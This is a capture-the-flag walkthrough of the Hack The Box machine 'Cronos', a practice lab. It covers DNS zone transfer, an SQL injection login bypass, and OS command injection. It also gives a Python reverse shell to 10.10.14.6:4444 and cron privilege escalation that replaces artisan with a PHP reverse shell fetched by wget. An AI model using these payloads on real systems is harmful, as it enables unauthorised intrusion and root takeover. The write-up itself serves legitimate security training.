---
description: DNS Enumeration - Command Injection - CronJob PrivEsc
---

# Cronos

### Scanning

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FOqTVW53XYjoRV5wohUlK%2Fimage.png?alt=media&#x26;token=7b08cef5-5853-4653-8b02-eb69823a9fae" alt=""><figcaption></figcaption></figure>

### HTTP Enumeration

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2F7mK9BpGdzIc2tltNuXzu%2Fimage.png?alt=media&#x26;token=29b12fec-32f4-4719-8a6f-6c388ec4453d" alt=""><figcaption></figcaption></figure>

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.13
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2Frqlcng6XY41CzkGiaqBD%2Fimage.png?alt=media&#x26;token=62b32afe-e914-400a-81fb-5d6b00d67a83" alt=""><figcaption></figcaption></figure>

### DNS Enumeration

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FuhEOzftZ3gyfDvDxZRXa%2Fimage.png?alt=media&#x26;token=f9d924ca-9eca-4eb8-a3dd-e334b3e01468" alt=""><figcaption></figcaption></figure>

```
dig axfr cronos.htb @10.10.10.13
cronos.htb
admin.cronos.htb
ns1.cronos.htb
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FxOkQFO5zwsuJF7WjkBFj%2Fimage.png?alt=media&#x26;token=61603016-7208-4165-8e5d-d4cd626388e1" alt=""><figcaption></figcaption></figure>

Visiting the admin subdomain !

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FiP1TgB61PGQj08trEY49%2Fimage.png?alt=media&#x26;token=5d0b8c57-e0c3-4913-a7ab-2375ac05fd3a" alt=""><figcaption></figcaption></figure>

* admin/admin - Din't work&#x20;
* admin/pass - Din't work&#x20;
* administrator/password123 - Din't work&#x20;

Finally tried SQLi and it worked !

```
admin' or 1=1 #
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2F5jPVYe7A8r16KRWKLXDK%2Fimage.png?alt=media&#x26;token=0bbb7ab1-a340-49ab-8b56-85f728317dfb" alt=""><figcaption></figcaption></figure>

Possibly we can try OS Command Injection !

```
8.8.8.8 & whoami
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2F9NHbNPu2fLwWQe6NQwGl%2Fimage.png?alt=media&#x26;token=232bb139-66d5-4c66-8035-e3dec6540adb" alt=""><figcaption></figcaption></figure>

Confirming it is vulnerable to command injection, we can now insert a reverse shell and get a connection back :)

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FlN91wFIgW6QLQ70dIn9v%2Fimage.png?alt=media&#x26;token=1a508398-95b0-4915-8761-8c30a908edea" alt=""><figcaption></figcaption></figure>

Unfortunately, it doesn't send us a reverse shell back, let's try with python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2Fx6BJqrPeMQnwc69aUB53%2Fimage.png?alt=media&#x26;token=a8afff00-38b5-4c5b-9927-a76423a49a33" alt=""><figcaption></figcaption></figure>

And we get a hit :)

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FErsHWaUOJFQ2OkBMAbjU%2Fimage.png?alt=media&#x26;token=99bd08c1-f8ef-40db-829d-2e0ff9e5b66b" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

Checking the crontab

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FErWD07Tx35HPcyeemW5G%2Fimage.png?alt=media&#x26;token=8c837522-05f3-4720-8e56-1d78c633f8c4" alt=""><figcaption></figcaption></figure>

Viewing the permission of the file - `/var/www/laravel/artisan`

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FljwIpD7cLqQOBAUWset9%2Fimage.png?alt=media&#x26;token=631ee6bd-3680-49df-b168-08e5ccdf05df" alt=""><figcaption></figcaption></figure>

We don't have -w- permissions :(

But what we can do is, we can remove the existing file and transfer our php-reverse shell to this location and rename it as artisan :)

```
rm -rf artisan
wget http://10.10.14.4/php-reverse-shell.php -o artisan
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2F0vTL3H6FOy2Qz36NFAlt%2Fimage.png?alt=media&#x26;token=a7f6c881-3b54-4acc-898a-55790dbcf2b5" alt=""><figcaption></figcaption></figure>
